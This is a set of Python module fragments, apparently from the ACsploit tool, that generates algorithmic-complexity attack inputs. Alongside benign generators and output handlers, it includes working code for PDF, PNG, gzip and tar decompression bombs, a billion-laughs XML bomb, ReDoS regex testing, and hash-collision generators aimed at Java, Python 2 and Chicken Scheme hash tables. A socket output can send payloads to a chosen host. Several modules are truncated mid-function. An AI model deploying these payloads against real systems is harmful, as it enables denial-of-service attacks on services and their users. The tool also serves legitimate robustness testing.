class FloatGenerator: INPUT_NAME = "float" def __init__(self): """Initialize the Float Generator.""" self.options = Options() self.options.add_option('min_value', 0.0, 'Minimum floating point value allowed') self.options.add_option('max_value', 255.0, 'Maximum floating point value allowed') self._min = 0.0 self._max = 255.0 def prepare(self): """Sets max, min based on _options; called before generator is used with an exploit.""" self._min = self.options['min_value'] self._max = self.options['max_value'] def get_less_than(self, value): """Returns a float less than the given value.""" if value > self._max: return self._max if value <= self._min: raise ValueError('No valid values less than {}'.format(value)) # return average of _min and value return self._min / 2 + value / 2 def get_greater_than(self, value): """Returns a float greater than the given value.""" if value < self._min: return self._min if value >= self._max: raise ValueError('No valid values greater than {}'.format(value)) # return average of _max and value return self._max / 2 + value / 2 def get_max_value(self): """Return the max character value.""" return self._max def get_min_value(self): """Return the min character value.""" return self._min def get_random(self): """Returns a random float.""" return random.uniform(self._min, self._max) def is_valid(self, value): """Returns True if the float is a valid value between the min and max values (inclusive).""" return self._min <= value <= self._max and type(value) is float def get_list_of_values(self, num_values): """Returns a list of floats.""" # not technically guaranteed to be unique, but collisions are highly unlikely return [ random.uniform(self._min, self._max) for _ in range(num_values) ]
class IntGenerator: """Integer Generator""" INPUT_NAME = "int" def __init__(self): """Initialize the Integer Generator.""" self.options = Options() self.options.add_option('min_value', 0, 'Minimum integer allowed') self.options.add_option('max_value', 255, 'Maximum integer allowed') self._min = 0 self._max = 255 def prepare(self): """Sets max, min based on _options; called before generator is used with an exploit.""" self._min = self.options['min_value'] self._max = self.options['max_value'] def get_less_than(self, value): """Returns a integer less than the given value.""" if value > self._max: return self._max if value <= self._min: raise ValueError('No valid values less than {}'.format(value)) return int(math.ceil(value) - 1) def get_greater_than(self, value): """Returns an integer greater than the given value.""" if value < self._min: return self._min if value >= self._max: raise ValueError('No valid values greater than {}'.format(value)) return int(math.floor(value) + 1) def get_max_value(self): """Return the max character value.""" return self._max def get_min_value(self): """Return the min character value.""" return self._min def get_random(self): """Returns a random integer.""" return random.randint(self._min, self._max) def is_valid(self, value): """Returns True if the integer is a valid value between the min and max values (inclusive).""" return self._min <= value <= self._max and type(value) is int def get_list_of_values(self, num_values): """Returns a list of ints.""" if self._min + num_values - 1 > self._max: raise ValueError('Fewer than {} unique values'.format(num_values)) return [self._min + i for i in range(num_values)]
class RegexMatchGenerator: """Regex Generator""" INPUT_NAME = 'regex' def __init__(self): """Initialize the Regex Generator.""" self.options = Options() self.options.add_option('regex', '.*', 'Generated strings will match this regex') def get_random(self): """Returns a random string matching the regex""" return exrex.getone(self.options['regex']) def get_random_list(self, num_values): """Returns a list of num_values random strings matching regex; note that matches may be repeated""" return [exrex.getone(self.options['regex']) for _ in range(num_values)] def get_list_of_values(self, num_values): """Returns a list of num_values strings matching regex; note that strings that match in multiple ways may be repeated (e.g. regex 'a|a|a' would yield 'a' as a match three times)""" regex_gen = exrex.generate(self.options['regex']) try: return [next(regex_gen) for _ in range(num_values)] except StopIteration: raise ValueError( 'Fewer than {} regex matches could be generated'.format( num_values)) def is_valid(self, candidate): """Returns true if valid.""" return re.match(self.options['regex'], candidate) is not None def get_max_value(self): raise NotImplementedError( 'Regex input generator cannot generate maximum values') def get_min_value(self): raise NotImplementedError( 'Regex input generator cannot generate minimum values') def get_greater_than(self, value): raise NotImplementedError( 'Regex input generator cannot generate relative values') def get_less_than(self, value): raise NotImplementedError( 'Regex input generator cannot generate relative values')
class Stdout: """Stdout class.""" OUTPUT_NAME = 'stdout' # exploits can use this internally to whitelist/blacklist supported output formats _SEPARATORS = { 'newline': '\n', 'comma': ',', 'space': ' ', 'tab': '\t', 'os_newline': os.linesep } def __init__(self): """Initialize the Stdout class.""" self.options = Options() self.options.add_option('separator', 'newline', 'Separator between elements', list(self._SEPARATORS.keys()), True) self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal']) def output(self, output_list): """Output to stdout.""" separator = output_common.get_separator(self.options['separator'], self._SEPARATORS) line = separator.join( [self.convert_item(item) for item in output_list]) line += os.linesep sys.stdout.write(line) def convert_item(self, item): """Convert output to hexadecimal or octal.""" # NB: this doesn't recurse onto lists if type(item) is int: if self.options['number_format'] == 'hexadecimal': item = hex(item) elif self.options['number_format'] == 'octal': item = oct(item) return str(item)
import copy import itertools import multiprocessing as mp import os import re import time from scipy.optimize import curve_fit import tqdm from acsploit.options import Options from . import regex_common options = Options() options.add_option('regex', 'your_regex', 'Regex to exploit, if vulnerable') options.add_option( 'regex_file', 'your_file', 'File containing newline separated regular expressions to exploit') options.add_option( 'use_file', False, 'Whether to use the file of regular expressions or the single user supplied expression' ) options.add_option( 'show_progress_bar', False, 'Whether to show a progress bar showing how much of ' + 'the file has been processed, only valid when use_file is True') options.add_option( 'show_only_vulnerable', True, 'Whether to show only the vulnerable regular expressions, only valid when use_file is True' ) options.add_option('max_length', 25,
import math from acsploit.options import Options # TODO - add option to optimize for filesize or huffman tree depth options = Options() options.add_option('n_inputs', 10, 'Number of characters in string to be Huffman encoded') # Creates the maximal depth Huffman tree from an input of n_inputs characters. DESCRIPTION = 'Produces a worst-case string for creation of a Huffman tree' \ '\n\n ' \ 'Character frequencies following the Fibonacci sequence cause a max-depth Huffman tree.' DEFAULT_INPUT = 'char' def run(generator, output): output.output([exploit(generator, options['n_inputs'])]) def exploit(generator, n_inputs): characters = '' n = generator.get_min_value() count = 1 while (len(characters) + fib(count)) <= n_inputs: characters += n * fib(count) n = generator.get_greater_than(n) count += 1 return characters
from acsploit.options import Options options = Options() options.add_option('pattern_length', 5, 'Length of pattern to search') options.add_option('string_length', 10, 'Length of string to search in') options.add_option('match', True, 'Whether to generate a matching or non-matching pattern') DESCRIPTION = 'Produces a worst-case string and search pattern for the Knuth-Morris-Pratt string matching algorithm.' \ '\n\n ' \ 'The worst case for the KMP algorithm is O(n+m), where n is the length of the pattern being searched, and ' \ 'm is the length of the string being searched in.' DEFAULT_INPUT = 'char' def run(generator, output): if options['match']: ret = all_same_match(generator, options['string_length'], options['pattern_length']) else: ret = no_match(generator, options['string_length'], options['pattern_length']) output.output(ret) def no_match(generator, string_length, pattern_length): # For if you want to not match the pattern base = generator.get_min_value() pattern = pattern_length * base k = string_length // pattern_length
import itertools from acsploit.options import Options options = Options() options.add_option('n_collisions', 10, 'Number of colliding strings to create') options.add_option('length', 10, 'Length of strings to create') options.add_option('substring_length', 4, 'Length of substrings to use. Exponential in time and memory.') options.add_option('target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)', ['image', 'preimage']) options.add_option('target', 'hello', 'Image or preimage of desired hash value') DESCRIPTION = 'Produces hash collisions for the 32-bit Python 2 string hash function' \ '\n\n' \ 'Uses a memory-intensive technique that generates fixed-length strings. ' \ 'Based on a technique published by Alexander ‘alech’ Klink and Julian | zeri at 28C3. ' \ '(See https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html for details.)' DEFAULT_INPUT = 'char' # to find collisions for the 64-bit python hash change HASH_MODULUS to 2**64 and RING_INVERSE to 16109806864799210091 # NB: finding 64-bit collisions via this method is so slow as to be practically useless and so is unsupported HASH_MODULUS = 2**32 # derived from the bit-width of the python executable RING_INVERSE = 2021759595 # the inverse of 1_000_003 % HASH_MODULUS def run(generator, output): # given a target hash and string length # generate random strings of n characters and reverse them out of the hash value # make a lookup table from the resulting semi-hash values to the strings # generate random strings of length - n characters and partially hash them # if the result is in the hash table, concat the n chars there onto the end of the string to get a collision
from acsploit.options import Options options = Options() options.add_option('string_length', 120, 'Length of string to generate') DESCRIPTION = 'Produces a worst-case string for line-breaking algorithms' \ '\n\n ' \ 'Fits as many words as possible into the string_length constraint, maximizing the number of possible ' \ 'line breaks considered.' DEFAULT_INPUT = 'char' def run(generator, output): target_length = options['string_length'] word = str(generator.get_min_value()) repetitions = target_length // (len(word) + 1) ret = ' '.join([word] * repetitions) output.output([ret])
import zlib from acsploit.options import Options options = Options() options.add_option( 'target_payload_memory', 134217728, 'Desired size of decompressed pdfstream in bytes (maximum 8GB). Memory ceiling for time-effect bomb.' ) options.add_option( 'time_multiplier', 1, 'Gives an additive effect to time usage, but may reduce max memory consumption. Set to 1 for no additional time effect (memory only)' ) DESCRIPTION = 'Produces a pdf decompression bomb using pdfstream objects.\n\n Based on a description provided by Didier ' \ 'Stevens (https://blog.didierstevens.com/2008/05/19/pdf-stream-objects/), we produced two variants of a ' \ 'pdf bomb. If the "time_multiplier" option is set to 1, then a pdf bomb is constructed where the document ' \ 'contains pdfstreams that are decompressed using the FlateDecode filter (in a cascade of 3 FlateDecodes). ' \ 'This will cause an AC memory effect on most pdf parsers. We also include the option of extending this ' \ 'attack into an AC time attack (by setting time_multiplier > 1) In that case, we produce pdfstream objects' \ ' that are referenced multiple times within the page whose individual final memory consumption is 1/(2^8) the' \ ' target_payload_memory. This is accomplished by following the FlateDecode filters with valid ASCIIHexDecode' \ ' filters, each of which reduce the final filtered payload size by 1/2. What makes this version of the bomb ' \ 'possible is the fact that 0x33 -> "3" in ASCII, which allows any number of ASCIIHexDecode filters to be ' \ 'run in sequence against a sufficiently long sequence of all "3"s.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'} CANNED_BOMBS = [
class CharGenerator: """Character generator""" INPUT_NAME = "char" def __init__(self): """Initialize the Chracter generator.""" self.options = Options() self.options.add_option('min_value', 'a', 'Minimum ASCII character to use') self.options.add_option('max_value', 'z', 'Maximum ASCII character to use') self.options.add_option('restrictions', '', 'String of characters to exclude') self.options.add_option( 'use_whitelist', False, 'If true, only generate characters from the whitelist') self.options.add_option( 'whitelist', '', 'String of characters to generate from if use_whitelist is True') # char_set will be a sorted valid set of characters given the constraints set in options # char_set must be updated by calling prepare() if options change self._char_set = string.ascii_lowercase def prepare(self): """Update the character set.""" self._char_set = [c for c in string.printable if self.is_valid(c)] self._char_set.sort() def get_min_value(self): """Return the min character value.""" return self._char_set[ 0] # options[min_value] could be in restrictions, so we don't just return that def get_max_value(self): """Return the max character value.""" return self._char_set[ -1] # options[max_value] could be in restrictions, so we don't just return that def is_valid(self, candidate): """Returns true if character is valid.""" whitelist = self.options['use_whitelist'] if whitelist: return candidate in self.options['whitelist'] else: min_val = self.options['min_value'] max_val = self.options['max_value'] restrictions = self.options['restrictions'] return min_val <= candidate <= max_val and candidate not in restrictions def get_less_than(self, value): """Returns a character less than the given value.""" result = None for c in self._char_set: if c >= value: break result = c if result is None: raise ValueError( 'No valid value exists less than {}'.format(value)) return result def get_greater_than(self, value): """Returns a character greater than the given value.""" for c in self._char_set: if c > value: return c raise ValueError('No valid value exists greater than {}'.format(value)) def get_random(self): """Returns a random character set.""" return random.choice(self._char_set) def get_char_set(self): """Returns a character set.""" return self._char_set def get_list_of_values(self, num_values): """Returns a string with length num_values starting from min_value""" if num_values > len(self._char_set): raise ValueError('Fewer than {} unique values'.format(num_values)) return self._char_set[:num_values]
from .deflate import max_deflate_png from acsploit.options import Options options = Options() options.add_option('width', 225000, 'Desired width of uncompressed PNG in pixels') options.add_option('height', 225000, 'Desired height of uncompressed PNG in pixels') DESCRIPTION = 'Generates a PNG bomb.' \ '\n\n ' \ 'The PNG file output expands immensely when loaded into memory by certain applications. ' \ 'We construct a custom PNG file from scratch, inserting a DEFLATE compression bomb, as DEFLATE ' \ 'is the underlying compression used in PNG.' # NOTE: We looked at using the pypng library for this instead of the custom deflate code # While the png code is significantly simpler, it also takes significantly longer to run # because the png library uses zlib for compression, whereas the custom implementation knows # that the input is all zero bytes and thus can write out the compressed data directly NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'} def run(output): ret = max_deflate_png(options['width'], options['height']) output.output([ret])
class Socket: """Socket class.""" OUTPUT_NAME = 'socket' # exploits can use this internally to whitelist/blacklist supported output formats _SEPARATORS = { # as bytes because socket.sendall() requires bytes 'newline': b'\n', 'comma': b',', 'space': b' ', 'tab': b'\t', 'os_newline': bytes(os.linesep.encode()), 'CRLF': b'\r\n' } _VERSIONS = {'IPv4': socket.AF_INET, 'IPv6': socket.AF_INET6} _BANNER_LENGTH = 1024 def __init__(self): """Initialize the Socket class.""" self.options = Options() self.options.add_option('host', '127.0.0.1', 'Host to connect to') self.options.add_option('port', 80, 'Port to connect to') self.options.add_option('ip_version', 'IPv4', 'Version of IP to use', ['IPv4', 'IPv6']) self.options.add_option('separator', 'newline', 'Separator between elements', list(self._SEPARATORS.keys()), True) self.options.add_option( 'final_separator', False, 'Whether to end output with an instance of the separator') self.options.add_option( 'await_banner', False, 'Receive a banner message from the server before sending data') self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal']) def output(self, output_list): """Create a socket stream and send the payload as output.""" separator = output_common.get_separator(self.options['separator'], self._SEPARATORS) line = separator.join( [self.convert_item(item) for item in output_list]) if self.options['final_separator']: line += separator protocol = Socket._VERSIONS[self.options['ip_version']] # TODO: handle exceptions? s = socket.socket(protocol, socket.SOCK_STREAM) s.connect((self.options['host'], self.options['port'])) if self.options['await_banner']: s.recv(Socket._BANNER_LENGTH) s.sendall(line) s.close() def convert_item(self, item): """Convert output to hexadecimal or octal.""" # NB: this doesn't recurse onto lists if type(item) is int: if self.options['number_format'] == 'hexadecimal': item = hex(item) elif self.options['number_format'] == 'octal': item = oct(item) if type(item) is not bytes: item = str(item).encode( ) # TODO: this is a bit of a hack, to put it mildly return item
import math from acsploit.options import Options options = Options() options.add_option('n_inputs', 10, 'Number of points to generate') DESCRIPTION = 'Produces a worst-case set of 2D points for the Jarvis March convex hull algorithm.' \ '\n\n ' \ 'Generates points evenly spaced around a circle such that all points lie on the convex hull of the set. ' \ 'The resulting points are ordered pessimally and all lie on the hull and so constiture a worst case input ' \ 'to the algorithm, which runs in O(n^2).' DEFAULT_INPUT = 'int' def run(generator, output): output.output(jarvis(generator, options['n_inputs'])) # Jarvis march is 2D implementation of gift wrapping algorithm def jarvis(generator, n_inputs): # Generate n points on a polygon, to force all points to lie on a hull -> worse case O(n^2) x0 = y0 = (generator.get_max_value() + generator.get_min_value()) / 2.0 # center of circle at middle of input radius = (generator.get_max_value() - generator.get_min_value()) / 2.0 # largest radius to ensure unique points angles = [2 * math.pi * float(i) / n_inputs for i in range(n_inputs)] # evenly space angles from 0 -> 2pi points = [(int(x0 + radius * math.cos(theta)), int(y0 + radius * math.sin(theta))) for theta in angles] return points
import z3 from .z3_common import get_collisions from acsploit.options import Options import itertools options = Options() options.add_option('n_collisions', 10, 'Number of colliding strings to create') options.add_option('n_substrings', 5, 'Number of substrings to create to will then be combined') options.add_option('initial_key', 0, 'Initial key value') options.add_option('hash_table_size', 0x3FFFFFFFFFFFFFFF, 'Size of target hash table') options.add_option( 'target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)', ['image', 'preimage']) options.add_option('target', 'hello', 'Image or preimage of desired hash value') DESCRIPTION = 'Produces hash collisions for vulnerable version the chicken scheme string hash.' \ '\n\n ' \ 'The algorithm generates two sets of strings using z3; one that hash to the desired target and another that ' \ 'can be prepended to a string without changing the hash result. This approach is significantly ' \ 'faster than relying naively on z3 but will generate longer strings. It may require tuning of the ' \ 'parameters: if "n_substrings" is too large the exploit may run very slowly; too small and the output ' \ 'strings will be very long.' NO_INPUT = True def chicken_hash(bytes, m, r):
from acsploit.options import Options options = Options() options.add_option('n_nodes', 10, 'Number of nodes in graph') DESCRIPTION = 'Produces a worst-case adjacency matrix for Kruskal\'s algorithm.' \ '\n\n ' \ 'Kruskal\'s algorithm finds the minimum spanning tree of an undirected weighted graph. To ' \ 'generate the worst-case input, we generates a complete graph where nodes in the graph grow further apart. ' \ 'Many edges with smaller edge weights are considered and rejected for creating cycles before ' \ 'each correct edge is added to the tree. This produces the worst case runtime of O(E log E), where E ' \ 'is the number of edges in the graph.' NO_INPUT = True def run(output): output.output(kruskal(options['n_nodes'])) def kruskal(n_inputs): adjacency_matrix = [[0 for _ in range(n_inputs)] for _ in range(n_inputs)] for i in range(n_inputs): for j in range(n_inputs): if i != j: adjacency_matrix[i][j] = max(i, j) return adjacency_matrix
import string import z3 from acsploit.options import Options options = Options() options.add_option('hash', '+ * x y z', 'The hash function to use, in prefix notation') options.add_option( 'target_type', 'image', 'Whether to solve for inputs that hash to image or inputs that hash to the same value as preimage', ['image', 'preimage']) options.add_option( 'image', 0, 'The target value to solve the inputs to the hash function for') options.add_option('preimage', 'x = 4, y = 1, z = 1', 'The preimage values to hash, in the format VAR = VALUE') options.add_option('variable_width', 32, 'Bit-width of variables in the hash function') options.add_option('n_collisions', 10, 'The number of colliding inputs to solve for') DESCRIPTION = 'Produces hash collisions for a custom hash function.' \ '\n\n ' \ 'This module allows you to define custom hash functions out of a collection of primitive operations ' \ 'and solve for collisions against them using z3. Hash functions are specified in prefix notation, using ' \ 'arbitrary variable names and the following operators: +, -, *, /, <<, >>, & (bit-wise AND), | (bit-wise OR), ' \ 'and ^ (bit-wise XOR). See custom_hashes.md for more details.' NO_INPUT = True
from acsploit.options import Options options = Options() options.add_option('n_collisions', 10, 'Number of colliding hashes to create') options.add_option('hash_table_size', 1024, 'Size of target hash table') options.add_option('target_hash', 12345, 'Hash value to find collisions against') DESCRIPTION = 'Produces collisions for the Java 8 and above HashMap class.' \ '\n\n ' \ 'The reverse hash function for the HashMap from Java 8 and above is implemented, and so ' \ 'the provided target value will be reversed n_collisions times. To generate multiple ' \ 'hash preimages that create collisions, other targets that are in the same "bin" are also reversed.' NO_INPUT = True def run(output): if options['target_hash'] > 0xFFFFFFFF: raise ValueError("target_hash must be less than 0xFFFFFFFF") ret = generate_collisions(options['target_hash'], options['n_collisions'], options['hash_table_size']) output.output(ret) def hash(value): return value ^ (value >> 16) def reverse_hash(hash):
import math import os from acsploit.options import Options options = Options() options.add_option('memory_impact', 1000.0, 'Target memory use in MB') DESCRIPTION = 'Produces an XML file that implements the billion laughs recursive entity attack.\n\n ACSploit produces ' \ 'XML bombs similar to those described on wikipedia (https://en.wikipedia.org/wiki/Billion_laughs_attack) with' \ 'each entity containing 10 references to the previous entity. Target memory usage in MB can be set with the ' \ '"memory_impact" option.' # TODO: reject too small memory_impact values; are there too large memory impact values? NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False} def run(output): xml = generate_xml(options['memory_impact'] * 10**6) output.output([xml]) def format_level(level_num, entities_per_level=10): entities = '&lol{};'.format(level_num - 1) * entities_per_level return ' <!ENTITY lol{} "{}">'.format(level_num, entities) def generate_xml(target_size):
import gzip import os import io from acsploit.options import Options options = Options() options.add_option('type', 'recursive', 'Type of bomb', ['single_file', 'recursive']) options.add_option('target_size', 100000, 'Desired size of decompressed file in bytes (not applicable to recursive bombs)') DESCRIPTION = 'Produces a gzip archive that expands into a very large file or set of files.\n\n\tThe "recursive" bomb ' \ 'produces a self-reproducing bomb that will continue to decompress unless a ' \ 'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_file" ' \ 'bomb creates a single file which decompresses to the target size in bytes. The single_file bomb may use ' \ 'significant resources when built for large target_size, as ACsploit compresses the payload itself. Use caution' \ 'when executing with this option.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = { 'final_newline': False, 'format': 'binary' } def run(output): if options['type'] == 'recursive': with open(os.path.dirname(os.path.realpath(__file__)) + '/bombs-DONOTOPEN/gz_recursive.gz', 'rb') as f: gzip_contents = f.read() output.output([gzip_contents]) elif options['type'] == 'single_file':
from acsploit.options import Options options = Options() options.add_option('n_inputs', 10, 'Number of elements to sort') DESCRIPTION = ( 'Produces a worst-case input set for bubblesort' '\n\n Generates a reverse sorted list, which will cause bubblesort to run in O(n^2) time.' ) def run(generator, output): # Bubblesort worst case is reverse ordered output.output(descending_list(generator, options['n_inputs'])) def descending_list(generator, n_inputs): output = [generator.get_max_value()] for i in range(1, n_inputs): output.append(generator.get_less_than(output[i - 1])) return output
import os import io import tarfile import math from acsploit.options import Options options = Options() options.add_option('type', 'recursive', 'Type of bomb', ['single_file', 'layer', 'recursive']) options.add_option( 'target_size', 100000, 'Desired size of decompressed file in bytes (not applicable to recursive bombs)' ) options.add_option( 'n_layers', 3, 'Number of nested layers of archives (only relevant for layer bombs)') DESCRIPTION = 'Produces a gzipped tar archive that expands into a very large file or set of files.\n\n The "recursive" bomb ' \ 'produces a self-reproducing bomb that will continue to decompress unless a ' \ 'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_layer" ' \ 'bomb creates a single file which decompresses to the target size in bytes. The single_layer bomb may use ' \ 'significant resources when built for large sizes, as ACsploit compresses the payload itself. Use caution' \ 'when executing with this option. The "layered" bomb contains nested archives with the depth controlled by ' \ 'the "n_layers" parameter.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False, 'format': 'binary'}
from acsploit.options import Options options = Options() options.add_option('n_inputs', 10, 'Number of nodes in tree (to insert)') # Worst case for node insertion in a R-B tree. DESCRIPTION = 'Produces a worst-case set of inputs for insertion in a Red-Black Tree' \ '\n\n ' \ 'Sorted insertions maximizes balancing operations in a Red-Black tree.' def run(generator, output): ret = sorted_list(generator, options['n_inputs']) output.output(ret) def sorted_list(generator, n_inputs): output = [generator.get_max_value()] for i in range(1, n_inputs): output.append(generator.get_less_than(output[i - 1])) return output
from acsploit.options import Options options = Options() options.add_option('type', 'mid', 'Variant of quicksort', ['mid', 'lomuto', 'hoare']) options.add_option('n_inputs', 10, 'Number of elements to sort') DESCRIPTION = ( 'Produces a worst-case input set for quicksort' '\n\n Worst-case varies based on implementation:' '\n for lomuto or hoare partition scheme with high value as pivot, sorted input is worst and gives O(n^2) runtime;' '\n for mid variant pessimal input places the largest values at the pivots and gives O(n^2) runtime' ) def run(generator, output): if options['type'] in ['lomuto', 'hoare']: # Worst case for Lomuto and Hoare quicksort is already sorted output.output(ascending_list(generator, options['n_inputs'])) elif options['type'] == 'mid': # worst case for quicksort with midpoint pivots radiates from the center output.output(radiate_list(generator, options['n_inputs'])) def ascending_list(generator, n_inputs): return list(reversed(descending_list(generator, n_inputs))) def descending_list(generator, n_inputs): output = [generator.get_max_value()] for i in range(1, n_inputs):
class File: """File class.""" OUTPUT_NAME = 'file' _SEPARATORS = { 'newline': '\n', 'comma': ',', 'space': ' ', 'tab': '\t', 'os_newline': os.linesep } def __init__(self): """Initialize the File class.""" self.options = Options() self.options.add_option('filename', 'acsploit_output.dat', 'The name of the file to write to') # TODO: add more formats self.options.add_option('separator', 'newline', 'Separator between elements', list(self._SEPARATORS.keys()), True) self.options.add_option('format', 'plaintext', 'The format to write output in', ['plaintext', 'binary', 'sv', 'template']) self.options.add_option('final_newline', True, 'Whether to end the file with a newline') self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal']) self.options.add_option('template_file', None, 'Template file to use when "format" is "template"') self.options.add_option('template_pattern', '<ACSPLOIT>', 'Replacement pattern in template file, marks where the payload will be copied') self.options.add_option('replace_first_only', False, 'Whether to replace only the first occurrence of template_pattern or all occurrences') def output(self, output_list): """Create file output.""" output_path = os.path.expanduser(self.options['filename']) separator = output_common.get_separator(self.options['separator'], self._SEPARATORS) if self.options['format'] == 'binary': with open(output_path, 'wb') as output_file: self.write_binary_file(output_list, output_file) else: with open(output_path, 'w') as output_file: if self.options['format'] == 'plaintext': self.write_plaintext_file(output_list, output_file, separator) elif self.options['format'] == 'sv': self.write_sv_file(output_list, output_file, separator) elif self.options['format'] == 'template': if self.options['template_file'] is None: raise ValueError('Must set "template_file" to use "template" format') self.write_template_file(output_list, output_file, separator, self.options['template_file'], self.options['template_pattern']) if self.options['final_newline'] and self.options['format'] != 'template': output_file.write(os.linesep) def write_plaintext_file(self, output_list, output_file, separator): """Write plaintext payload data to output file.""" output_file.write(separator.join([self.convert_item(item) for item in output_list])) def write_template_file(self, output_list, output_file, separator, template, pattern): output = separator.join([self.convert_item(item) for item in output_list]) final_output = output_common.process_template(template, output, pattern, self.options['replace_first_only']) output_file.write(final_output) def write_binary_file(self, output_list, output_file): """Write binary payload data to output file.""" # for a binary file, we don't want to be adding in our own lineseps for item in output_list: output_file.write(item) def write_sv_file(self, output_list, output_file, separator): """Write sv file.""" # treat lists of lists as rows x cols if all(type(item) is list for item in output_list): # take each inner list, glue it together with the separator, then glue these together with os.linesep lines = [separator.join(self.convert_item(subitem) for subitem in item) for item in output_list] output_file.write(os.linesep.join(lines)) else: output_file.write(separator.join([self.convert_item(item) for item in output_list])) def convert_item(self, item): """Convert output to hexadecimal or octal.""" # NB: this doesn't recurse onto lists if type(item) is int: if self.options['number_format'] == 'hexadecimal': item = hex(item) elif self.options['number_format'] == 'octal': item = oct(item) return str(item)
class StringGenerator: """String Generator""" INPUT_NAME = "string" def __init__(self): """Initialize the String Generator.""" self.options = Options() self.options.add_option('min_length', 1, 'Minimum string length') self.options.add_option('max_length', 10, 'Maximum string length') self.options.add_option('min_value', 'a', 'Minimum ASCII character to use') self.options.add_option('max_value', 'z', 'Maximum ASCII character to use') self.options.add_option('restrictions', '', 'String of characters to exclude') self.options.add_option( 'use_whitelist', False, 'If True, only generate characters from the whitelist') self.options.add_option( 'whitelist', '', 'String of characters to generate from if use_whitelist is True') self.char_gen = CharGenerator() self.prepare() def prepare(self): """Updates the string generator options.""" self.char_gen.options['min_value'] = self.options['min_value'] self.char_gen.options['max_value'] = self.options['max_value'] self.char_gen.options['restrictions'] = self.options['restrictions'] self.char_gen.options['use_whitelist'] = self.options['use_whitelist'] self.char_gen.options['whitelist'] = self.options['whitelist'] self.char_gen.prepare() def _reduce_last_char(self, value): """Returns the next lowest string, may be shorter than min_length""" c = value[-1] try: low_c = self.char_gen.get_less_than(c) return value[:-1] + low_c + self.char_gen.get_max_value() * ( self.options['max_length'] - len(value)) except ValueError: # the last character is min_value, strip it off return value[:-1] def _increment_last_char(self, value): """Returns the next greatest string of equal or lesser length than value""" while len(value) > 0: c = value[-1] try: high_c = self.char_gen.get_greater_than(c) value = value[:-1] + high_c if len(value) < self.options['min_length']: value += self.char_gen.get_min_value() * ( self.options['min_length'] - len(value)) return value except ValueError: value = value[:-1] # should never get here since we only call this function with value < max_value raise ValueError('No valid value exists greater than {}'.format(value)) def get_less_than(self, value): """Returns the largest valid string less than value (lexicographical order)""" # give up if value is not greater than min_value # all other cases should succeed, since there is at least one valid string (min_value) less than value if value <= self.get_min_value(): raise ValueError( 'No valid value exists less than {}'.format(value)) # strip all extra characters from the right if string is too long # the new value will be less than original, so return if valid, or continue max_len = self.options['max_length'] if len(value) > max_len: value = value[:max_len] if self.is_valid(value): return value # strip all chars beyond the first invalid char in value # we will reduce the invalid char in the next step for i, c in enumerate(value): if not self.char_gen.is_valid(c): value = value[:i + 1] value = self._reduce_last_char(value) while not self.is_valid(value): value = self._reduce_last_char(value) return value def get_greater_than(self, value): """Returns the smallest valid string greater than value (lexicographical order)""" # give up if value is not smaller than max_value # all other cases should succeed, since there is at least one valid string (max_value) greater than value if value >= self.get_max_value(): raise ValueError( 'No valid value exists greater than {}'.format(value)) # strip all extra characters from the right if string is too long # the result will be less than original, but will have the same next greatest value max_len = self.options['max_length'] if len(value) > max_len: value = value[:max_len] # deal with invalid chars # strip all chars right of the invalid char; increment the invalid char to a larger valid char for i, c in enumerate(value): if not self.char_gen.is_valid(c): value = value[:i + 1] return self._increment_last_char(value) # no invalid chars min_len = self.options['min_length'] if len(value) < min_len: # pad short value with min_value to min_length return value + self.char_gen.get_min_value() * (min_len - len(value)) elif len(value) < max_len: # append one min_value character to value if not too long return value + self.char_gen.get_min_value() else: # can't extend length; increment last char to a larger char return self._increment_last_char(value) def get_max_value(self): """Returns the max value.""" return self.char_gen.get_max_value() * self.options['max_length'] def get_min_value(self): """Returns the min value.""" return self.char_gen.get_min_value() * self.options['min_length'] def get_random(self): """Returns a random string Length is chosen uniformly at random, so shorter strings appear equally as often as longer strings, which means the distribution is not uniform, since any given short string is more likely to be chosen than a given longer string""" length = random.randint(self.options['min_length'], self.options['max_length']) return ''.join([self.char_gen.get_random() for _ in range(length)]) def get_list_of_values(self, num_values): """Returns a list of valid numbers starting from min_value.""" values = [] next = self.get_min_value() for _ in range(num_values): values.append(next) try: next = self.get_greater_than(next) except ValueError: raise ValueError( 'Fewer than {} unique values'.format(num_values)) return values def is_valid(self, candidate): """Returns true if the string has valid characters and meets min and max length constraints.""" length_is_valid = self.options['min_length'] <= len( candidate) <= self.options['max_length'] chars_are_valid = all(self.char_gen.is_valid(c) for c in candidate) return length_is_valid and chars_are_valid
import z3 from acsploit.options import Options from .z3_common import get_collisions options = Options() options.add_option('n_collisions', 10, 'Number of colliding strings to create') options.add_option('length', 10, 'Length of strings to create') options.add_option('hash_table_size', 100, 'Size of target hash table') options.add_option( 'target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)', ['image', 'preimage']) options.add_option('target', 'hello', 'Image or preimage of desired hash value') DESCRIPTION = 'Produces hash collisions for the Java hash function.' \ '\n\n ' \ 'This exploit works by using z3 to "solve" for hash collisions. An implementation of the Java ' \ 'checksum for z3 is used to generate a constraint system that z3 solves to find colliding hash inputs. ' \ 'The exploit runs slower than both java and java_fast but allows for exact control of the length of the ' \ 'colliding strings.' NO_INPUT = True def run(output): ret = get_collisions(z3java, options['target'], options['target_type'], options['length'], options['n_collisions'], options['hash_table_size']) output.output(ret)
